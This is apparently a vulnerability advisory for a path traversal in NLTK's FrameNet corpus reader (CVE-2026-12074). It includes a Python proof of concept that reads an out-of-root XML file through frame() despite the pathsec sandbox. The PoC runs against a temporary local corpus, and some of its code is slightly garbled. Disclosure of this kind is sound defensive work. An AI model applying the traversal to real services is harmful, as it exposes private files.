PT-2026-66887 · Pypi · Nltk

CVE-2026-12074

·

Published

2026-07-31

·

Updated

2026-07-31

CVSS v3.1

7.5

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.

Details

frame by name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame by name never goes through CorpusReader.open(), so that protection does not apply.
The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:
  • doc() — uses the index entry filename field
  • the lexical-unit file loader — uses the lexUnit ID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.

PoC

python
"""

import os
import sys
import tempfile
import warnings
from pathlib import Path

warnings.filterwarnings("ignore")

# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True

import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError

FRAME XML = (
  '<?xml version="1.0" encoding="UTF-8"?>
'
  '<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">
'
  "<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>
"
  "</frame>
"
)

BANNER = """
===========================================================
 NLTK FramenetCorpusReader.frame() Path Traversal PoC
 nltk {ver}  |  nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
  ver=nltk. version , enforce=ps.ENFORCE
)


def build corpus():
  """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
  base = Path(tempfile.mkdtemp(prefix="fn poc "))
  root = base / "corpora" / "framenet"
  for d in ("frame", "fulltext", "lu"):
    (root / d).mkdir(parents=True)
  (root / "frameIndex.xml").write text(
    '<?xml version="1.0"?><frameIndex></frameIndex>'
  )
  (root / "frRelation.xml").write text(
    '<?xml version="1.0"?><frameRelations></frameRelations>'
  )

  # A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
  secret = base / "private"
  secret.mkdir()
  (secret / "secret.xml").write text(FRAME XML)

  return base, root, secret / "secret.xml"


def main():
  print(BANNER)
  base, root, secret path = build corpus()
  print(f"[*] corpus root : {root}")
  print(f"[*] secret file : {secret path} (OUTSIDE the root)
")

  fn = FramenetCorpusReader(str(root), [])

  # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
  evil = os.path.join("..", "..", "..", "private", "secret")
  print(f"[*] calling  fn.frame({evil!r})")

  try:
    f = fn.frame(evil)
    definition = f["definition"]
    if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
      print("
 [VULN] out-of-root file was read and returned to caller")
      print(f"     frame name : {evil}")
      print(f"     frame ID  : {f['ID']}  name: {f['name']}")
      print(f"     definition : {definition}")
      print(f"
 -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
      verdict = "VULNERABLE"
    else:
      print(f"
 [?] frame() returned but content unexpected: {definition!r}")
      verdict = "INCONCLUSIVE"
  except FramenetError as e:
    # Patched build (#3581): reject unsafe path component raises before open().
    print(f"
 [SAFE] FramenetError: {e}")
    print("     traversal rejected before any file was opened (patched)")
    verdict = "NOT VULNERABLE"
  except Exception as e:
    print(f"
 [SAFE] {type(e). name }: {e}")
    verdict = "NOT VULNERABLE"

  # Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
  print("
[CONTROL] benign absent name should be 'Unknown frame':")
  try:
    fn.frame("Definitely Not A Frame")
    print(" [?] unexpectedly succeeded")
  except Exception as e:
    print(f" ok -> {type(e). name }: {e}")

  print("
" + "=" * 59)
  print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
  print("=" * 59)


if  name  == " main ":
  main()

Impact

  • Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into frame() can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. frame() is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.
  • Broad read primitive. Only a fixed .xml extension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.
  • Silent bypass of an advertised boundary. NLTK's SECURITY.md presents the nltk.pathsec sandbox and ENFORCE=True as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because frame by name builds the path itself and reads through a string-path XMLCorpusView, the containment guard is never called and ENFORCE=True does not block the read — silently, with no error or warning.
  • Crafted-corpus reach. Via doc() and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.
  • Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where frame() output is reflected to the requester, disclosure is direct and non-blind.

Fix

Path traversal

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-22

Related Identifiers

CVE-2026-12074
GHSA-XH95-F55M-82FW

Affected Products

Nltk